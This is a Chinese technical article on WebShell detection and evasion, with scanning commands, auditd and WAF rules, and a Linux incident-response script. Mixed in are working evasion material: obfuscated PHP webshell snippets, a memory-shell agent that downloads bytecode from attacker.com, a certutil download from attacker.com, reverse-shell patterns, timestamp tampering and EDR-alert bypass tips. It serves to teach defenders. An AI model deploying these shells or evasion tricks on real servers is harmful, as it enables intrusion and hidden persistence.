一、WebShell 查杀的三大维度

WebShell 的查杀分为三个层次,攻击者可以逐层绕过:

┌─────────────────────────────────────────┐
│  静态查杀(文件系统层)                    │
│  - 文件签名匹配                          │
│  - 关键字正则                            │
│  - 文件属性分析                          │
├─────────────────────────────────────────┤
│  动态查杀(运行时层)                     │
│  - 进程行为监控                          │
│  - 网络连接分析                          │
│  - 系统调用拦截                          │
├─────────────────────────────────────────┤
│  内存查杀(内存层)                       │
│  - 内存扫描                              │
│  - 注入检测                              │
│  - Hook 识别                             │
└─────────────────────────────────────────┘

二、静态查杀对抗

2.1 常见 WebShell 特征

PHP WebShell 常见特征:
  - eval($_POST[.*])
  - assert($_GET[.*])
  - system($_REQUEST[.*])
  - passthru($_POST[.*])
  - shell_exec($_GET[.*])
  - base64_decode(.*)
  - gzinflate(.*)
  - str_rot13(.*)
  - create_function(.*)
  - preg_replace.*/e.*
  - file_put_contents(.*)

ASPX WebShell 常见特征:
  - System.Diagnostics.Process.Start
  - WScript.Shell
  - Server.CreateObject
  - Scripting.FileSystemObject
  - WinExec / ShellExecute

JSP WebShell 常见特征:
  - Runtime.getRuntime().exec
  - ProcessBuilder
  - ScriptEngineManager
  - Class.forName

2.2 静态查杀工具原理

# 1. clamscan - ClamAV 扫描 WebShell
clamscan -r /var/www/html/ --detect-pua=yes --scan-archive=no

# 2. find + grep - 简单关键字扫描
find /var/www/html -name "*.php" -exec grep -l "eval|assert|system" {} ;

# 3. PHP WebShell 查杀脚本
find /var/www/html -type f -newer /var/www/html/index.php 2>/dev/null
# 查找最近修改的文件

# 4. 对比文件时间戳
# 如果有 git,可以用 git status / git diff 查看变化
# 如果没有,可以用 inotifywait 监控
inotifywait -m -r /var/www/html --format '%T %e %w %f'     -e create,modify,move,delete

# 5. 检查可疑文件
# 文件权限异常: 777 的 PHP 文件
find /var/www/html -name "*.php" -perm 777

# 隐藏文件 / 以点开头
find /var/www/html -name ".*" -type f

# 伪装文件: .php.jpg / .jpg.php
find /var/www/html -name "*.*.*"

2.3 静态免杀绕过

<?php
// 方式 1: 拆分字符串
$a = 'sys';
$b = 'tem';
$func = $a . $b;
$func('whoami');

// 方式 2: 数组键名动态函数
$_GET['a'] = 'system';
$_GET['b'] = 'whoami';
$_GET['a']($_GET['b']);  // 绕过关键字检测

// 方式 3: 双写绕过 preg_replace /e
preg_replace('/a/ie', 'system("whoami")', 'aaa');
// 匹配的 'a' 被替换为 'system("whoami")'
// 但这行代码本身不含 eval/assert/system 关键字组合

// 方式 4: 变量覆盖
$_ = 'assert';
$_($_POST['cmd']);

// 方式 5: 无文件 Webshell(PHP 版本)
// 写入 /tmp/shell.php, 然后用 auto_prepend_file 自动加载
// .user.ini 或 .htaccess 配置:
// auto_prepend_file=/tmp/shell.php
// 这样 shell.php 不需要放在 web 目录

// 方式 6: base64 + 拆包
$b64 = substr($payload, 0, 20) . '...' . substr($payload, -20);
// 或者从多个位置拼接

// 方式 7: 使用未禁用的函数组合
// 如果 system/exec 被禁用,尝试:
pcntl_exec('/bin/sh', ['-c', 'whoami']);  // pcntl_exec 可能没被禁用
// 或用 PHP 扩展调用外部程序
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system('whoami');
?>

三、动态查杀对抗

3.1 基于行为的检测

# 检测命令执行行为
# 1. 监控 Web 进程的子进程
# ps --ppid <web_server_pid> -o pid,args
ps --ppid 12345 -o pid,ppid,args  # 查看 web 进程的子进程

# 2. 监控 /proc 中的进程树
cat /proc/12345/status
cat /proc/12345/cmdline

# 3. inotify 监控关键目录
inotifywait -m -r /var/www/html /tmp     -e create,modify,delete     --format '%w%f %e' | while read event; do
    # 告警: ${event}
done

# 4. strace 跟踪系统调用(临时调试用)
strace -p 12345 -e trace=execve,open,connect

# 5. auditd 安全审计
auditctl -w /var/www/html -p wra -k webroot_change
auditctl -a always,exit -F arch=b64 -S execve -k command_exec

# 6. 网络连接监控
netstat -tlnp | grep :4444   # 反弹 shell 端口
ss -tnp                       # 更快
lsof -i -n -P                 # 详细

3.2 动态查杀工具

# OSSEC - 主机入侵检测
# https://www.ossec.net/

# Wazuh - 开源安全平台
# https://wazuh.com/

# Auditd 规则示例
cat > /etc/audit/rules.d/webshell.rules << EOF
# 监控 Web 进程执行外部程序
-a always,exit -F arch=b64 -S execve -F uid=33 -k www_exec
-a always,exit -F arch=b32 -S execve -F uid=33 -k www_exec

# 监控 WebRoot 文件变更
-w /var/www/html -p wra -k www_modify

# 监控 /tmp 可执行文件
-w /tmp -p x -k tmp_exec

# 监控 Nginx/Apache 错误日志异常
-w /var/log/nginx/error.log -p r -k nginx_error
EOF

# 加载规则
augenrules --load
auditctl -s

# ELK Stack 做日志分析
# Filebeat -> Logstash -> Elasticsearch -> Kibana
# 监控 access.log 中异常参数:
# cmd= /c /exec /w /eval /assert /base64
# 监控 access.log 中响应码 200 + 敏感路径

3.3 动态免杀技巧

<?php
// 技巧 1: 降低命令执行频率
// 正常 WebShell 每次请求都执行命令
// 免杀: 用临时文件缓存执行结果,降低系统调用次数

// 技巧 2: 使用非标准工具链
// 避免使用 cmd.exe / bash / wget / curl
// 使用 powershell (Windows) / python3 (Linux)
// 避免反弹 4444/5555 等经典端口

// 技巧 3: 使用合法工具
// git pull 拉取代码
// ssh 隧道
// nc 也可能被监控

// 技巧 4: 定期修改自己
// 每天修改文件时间戳,避免被 /usr/bin/find -newer 查到
touch -d "2023-01-01" /var/www/html/shell.php

// 技巧 5: 进程伪装
// 不创建子进程,直接在 Web 进程内操作
// 避免: system(), exec(), passthru()
// 使用: file_get_contents(), stream_socket_client()

// 技巧 6: 内存执行不落盘
// base64 解码后 eval,不写入临时文件
$code = base64_decode($_POST['c']);
eval($code);
?>

<%
// ASPX 进程伪装
// 使用 reflection + cached type,避免频繁创建 Process
// 或者使用 HttpWebRequest 发起内部请求调用其他接口
%>

四、流量特征与分析

4.1 WebShell HTTP 流量特征

常见请求特征:

1. 请求方法
   - GET 参数携带命令: ?cmd=whoami, ?c=phpinfo()
   - POST body 携带代码: cmd=assert($_POST[x])
   - 参数名: cmd/c/x/pwd/key/action

2. 响应特征
   - Content-Type: text/plain / text/html
   - 包含系统命令输出: uid=, root:, /home/, drwxr-xr-x
   - 响应体大小固定(某些 Shell 返回执行结果)

3. 编码特征
   - base64: eyJ0eXBl...
   - gzinflate: 使用 gzuncompress
   - str_rot13: rot13 编码
   - chr() 数组

4. 请求频率
   - 短时间大量请求到同一文件
   - POST 请求突然增加(正常 GET 为主)

4.2 WAF 规则配置

# Nginx WAF 基础规则
# 检测可疑请求参数
if ($args ~* "(eval|assert|system|exec|passthru|shell_exec)") {
    return 403;
}
if ($args ~* "(cmd|c|exec|whoami|phpinfo|base64_decode)") {
    return 403;
}

# 检测 .htaccess 访问
if ($request_uri ~* "(.htaccess|.user.ini|web.config)") {
    return 403;
}

# 检测反序列化特征
if ($args ~* "O:[0-9]+:"[^"]+"") {  // PHP 序列化
    return 403;
}

# 检测 SQL 注入 + WebShell 特征组合
if ($args ~* "(union.*select|and.*1=1|../|..\)") {
    return 403;
}

# 注意: 不要只靠关键字过滤,攻击者能轻易绕过
# 应该配合行为检测 + 日志分析

五、内存马(Memory Shell)检测

5.1 什么是内存马

内存马是一种不落地、仅在内存中执行的 WebShell。它通过动态修改 Web 服务进程的内存来注入恶意代码,不产生任何磁盘文件。

普通 WebShell: 攻击者上传文件到磁盘 → 文件被查杀
内存马: 攻击者直接修改运行中的 Web 进程内存 → 无文件落地

分类:
  - ASP.NET 内存马: 注入 IIS 进程内存
  - Java 内存马: 注入 Tomcat/Jetty 进程内存
  - PHP 内存马: 注入 PHP-FPM 进程内存
  - Nginx 内存马: LoadModule 动态加载

5.2 Java Agent 内存马

// 内存马原理: 动态 Instrumentation 注入

// 步骤 1: 找到 Java 进程 PID
jps -l

// 步骤 2: 用 attach 加载 agent
// agent.jar 是一个 premain / agentmain 类
// 通过 VirtualMachine.attach() 动态加载

// Agent 代码示例
import java.lang.instrument.*;

public class MemoryShellAgent {
    public static void agentmain(String args, Instrumentation inst) {
        // 1. 从攻击者 URL 下载 WebShell 字节码
        byte[] bytes = download(args);  // args = http://attacker.com/Exploit.class
        
        // 2. 重新定义 Tomcat 的 HttpServlet 类
        // 每次 HTTP 请求都会触发我们的代码
        ClassDefinition cd = new ClassDefinition(
            cls,   // HttpServletRequest 或 DispatcherServlet
            bytes  // 新的字节码
        );
        inst.redefineClasses(cd);
    }
}

5.3 .NET 内存马

ASP.NET 内存马注入方式:

1. CLR Profiler: 注入到所有 .NET 进程
2. appcmd set config: 修改 IIS 配置加载自定义模块
3. AppDomain.CurrentDomain.AssemblyResolve: 动态加载程序集
4. powershell + reflection: 运行时注入

# 检测 .NET 内存马
# 查看已加载的程序集
powershell -Command "[AppDomain]::CurrentDomain.GetAssemblies()" | findstr /i "memory"

# 查看 IIS 进程的模块
listdlls -i w3wp.exe

# 检查 CLR Profiler
reg query "HKLMSOFTWAREMicrosoft.NETFramework2.0.50727" /v COR_ENABLE_PROFILING

5.4 PHP-FPM 内存马

<?php
// PHP-FPM 内存马注入原理
// 通过 dl() 动态加载扩展 (PHP 扩展是 .so/.dll 文件)

// 方式 1: 临时扩展加载(PHP 7+)
dl('evil.so');  // 动态加载扩展
// 但 dl() 默认被禁用

// 方式 2: 通过 /tmp 写入 .so + dl()
file_put_contents('/tmp/evil.so', $evil_so_bytes);
dl('/tmp/evil.so');
// 执行后删除 .so 文件
unlink('/tmp/evil.so');

// 方式 3: auto_prepend_file 注入
// 修改 PHP 配置文件
ini_set('auto_prepend_file', '/path/to/shell.php');
// 但 shell.php 本身就是落盘的
?>

5.5 内存马检测方法

# 1. 进程内存扫描
# Volatility / LiME 内存取证
# 抓取内存:
modprobe lime
dd if=/dev/mem of=/tmp/memory.img bs=4096

# Volatility 分析
vol -f memory.img --profile=LinuxUbuntu pslist
vol -f memory.img --profile=LinuxUbuntu linux_bash  # 查看 bash 历史
vol -f memory.img --profile=LinuxUbuntu linux_netstat  # 网络连接
vol -f memory.img --profile=LinuxUbuntu linux_strings  # 关键字搜索

# 2. strace / ltrace
strace -p <web_pid> -e trace=execve -c
ltrace -p <web_pid> -e "system+exec*"

# 3. 检查进程内存中是否有可疑字符串
cat /proc/<pid>/maps
grep -a "system|exec|eval|assert" /proc/<pid>/mem | strings

# 4. 检查 /tmp /dev/shm /var/tmp
ls -la /tmp /dev/shm /var/tmp
find /tmp -name "*.so" -mtime -1

# 5. 检查 LD_PRELOAD
cat /proc/<pid>/environ | tr '' '
' | grep LD_PRELOAD

六、EDR 与 SOC 告警

6.1 EDR 检测规则

典型 EDR 检测点:

1. 进程创建:
   - cmd.exe /c /e: /k /r
   - powershell.exe -Enc (Base64 编码)
   - bash -c "bash -i >& /dev/tcp/"
   - sh -i &> /dev/tcp/

2. 网络行为:
   - 短时间大量出站 TCP 连接
   - 连接到 4444/5555/8888 等经典端口
   - Web 进程主动发起网络连接(正常不应该)
   - DNS 查询 base64 编码的子域名(DNS 隧道)

3. 文件行为:
   - Web 目录下新增 .php/.jsp/.aspx 文件
   - 上传目录可执行文件
   - 临时目录 .so/.dll 文件

4. 注册表变更 (Windows):
   - HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun
   - HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun
   - HKLMSYSTEMCurrentControlSetServices

5. WMI 事件订阅 (Windows 持久化)
   - EventFilter + EventConsumer 组合

6.2 告警绕过技巧

# 1. 使用 powershell 的 -EncodedCommand 绕过
# 但现在 EDR 会解码检测
# 改为分块传输

# 2. 不使用经典端口
# 反弹到 443 (HTTPS) / 80 (HTTP) / 53 (DNS)
# 或者到公共服务端口

# 3. 使用合法工具
# git push (将数据传到 GitHub)
# rclone (同步到云存储)
# scp / sftp / rsync

# 4. 使用 WebSocket / gRPC / HTTP2 协议
# 更难被简单的 WAF 检测

# 5. DNS 隧道的反检测
# 不要用 base64,用更难检测的编码
# 降低 DNS 查询频率
# 使用 TXT 记录传输大负载

# 6. 内存加载避免磁盘痕迹
# PowerShell IEX (Invoke-Expression)
# CertUtil -urlcache -split -f http://attacker.com/shell.txt
# Bitsadmin / BITSTransfer
# 这些工具正常用途不是加载代码,降低告警

七、应急响应流程

7.1 WebShell 应急清单

发现 WebShell 后的处理步骤:

Step 1: 隔离主机(但不要直接重启,保留内存取证价值)
  - 断开网络连接(防火墙层面)
  - 不要 kill 进程(进程内存可能有价值)
  - 保留所有日志和内存

Step 2: 采集证据
  - 全内存镜像 (LiME / WinPmem)
  - 磁盘镜像 (dd / FTK Imager)
  - 进程列表、网络连接、打开文件句柄
  - 全量文件系统快照(时间线分析)
  - 服务器日志 (access.log, error.log, auth.log, 操作系统日志)

Step 3: 分析根源
  - 确定首个入侵入口(SQL 注入 / 文件上传 / 零日漏洞)
  - 确认所有被修改的文件
  - 提取攻击者操作时间线
  - 检查是否有横向移动迹象

Step 4: 清除恶意代码
  - 删除所有 WebShell 文件
  - 恢复被篡改的配置文件 (web.config / .htaccess / php.ini)
  - 清除计划任务 / 服务 / 启动项
  - 重置所有密码(包括数据库、SSH、应用)

Step 5: 加固与复盘
  - 修复漏洞(补丁、WAF、配置)
  - 权限最小化
  - 添加监控规则(EDR / WAF / SOC)
  - 形成应急报告,更新知识库

7.2 取证脚本(Linux)

#!/bin/bash
# incident-response.sh - Linux Web 服务器应急响应脚本

OUTDIR="./ir-$(date +%Y%m%d-%H%M%S)"
mkdir -p $OUTDIR

echo "[*] 1. 系统信息"
hostname > $OUTDIR/info.txt
uname -a >> $OUTDIR/info.txt
date >> $OUTDIR/info.txt
uptime >> $OUTDIR/info.txt
who >> $OUTDIR/info.txt

echo "[*] 2. 进程和网络"
ps auxf > $OUTDIR/processes.txt
netstat -tlnp > $OUTDIR/ports.txt
ss -tlnp >> $OUTDIR/ports.txt
lsof -nP -i -l > $OUTDIR/conns.txt

echo "[*] 3. Web 目录变化"
WEBROOT="/var/www/html"
find $WEBROOT -type f -mtime -7 > $OUTDIR/recent_files.txt 2>/dev/null
find $WEBROOT -type f -perm 777 > $OUTDIR/world_writable.txt 2>/dev/null
find $WEBROOT -name ".*" -type f > $OUTDIR/hidden_files.txt 2>/dev/null

echo "[*] 4. 可疑文件扫描"
grep -r "eval|assert|shell_exec|system(" $WEBROOT --include="*.php" -l > $OUTDIR/webshell_signatures.txt 2>/dev/null
grep -r "base64_decode|gzinflate|preg_replace.*/e" $WEBROOT --include="*.php" -l >> $OUTDIR/webshell_signatures.txt 2>/dev/null

echo "[*] 5. 计划任务"
crontab -l > $OUTDIR/crontab.txt
ls -la /etc/cron.d/ > $OUTDIR/cron_d.txt
cat /etc/crontab >> $OUTDIR/cron_d.txt

echo "[*] 6. SSH 配置"
cat /root/.ssh/authorized_keys > $OUTDIR/root_auth_keys.txt 2>/dev/null
cat /home/*/.ssh/authorized_keys >> $OUTDIR/user_auth_keys.txt 2>/dev/null
cat /etc/ssh/sshd_config > $OUTDIR/sshd_config.txt 2>/dev/null

echo "[*] 7. 启动脚本"
ls -la /etc/rc.local /etc/init.d/ /etc/systemd/system/ > $OUTDIR/init_scripts.txt 2>/dev/null

echo "[*] 8. Web 日志尾部"
tail -1000 /var/log/apache2/access.log > $OUTDIR/apache_access.log 2>/dev/null
tail -1000 /var/log/nginx/access.log > $OUTDIR/nginx_access.log 2>/dev/null
tail -1000 /var/log/apache2/error.log > $OUTDIR/apache_error.log 2>/dev/null

echo "[✓] 证据采集完成: $OUTDIR"
echo "[!] 建议: 立即断开网络,备份整个磁盘和内存后再分析"

八、总结

WebShell 对抗的核心认知:

  1. 没有 100% 有效的查杀:攻击者永远领先一步,尤其是无文件攻击
  2. 分层防御:静态 + 动态 + 内存 + 网络,每层拦截不同类型的攻击
  3. 重视行为而非特征:特征匹配会被绕过,行为检测更可靠
  4. 内存取证是黄金标准:无文件攻击只有内存中能抓到痕迹
  5. 应急响应速度:越快隔离、越快取证,越能完整还原攻击链

攻击者的核心思路:

  • 避开静态特征:拆分、编码、混淆
  • 避开动态行为:降低频率、伪装合法流量
  • 避开内存查杀:不落盘、用完即删、内存残留最小化

防御者的核心思路:

  • 分层监控:从文件系统到网络全链路覆盖
  • 行为基线:建立正常行为模型,异常即告警
  • 快速响应:自动化处置流程,减少攻击者驻留时间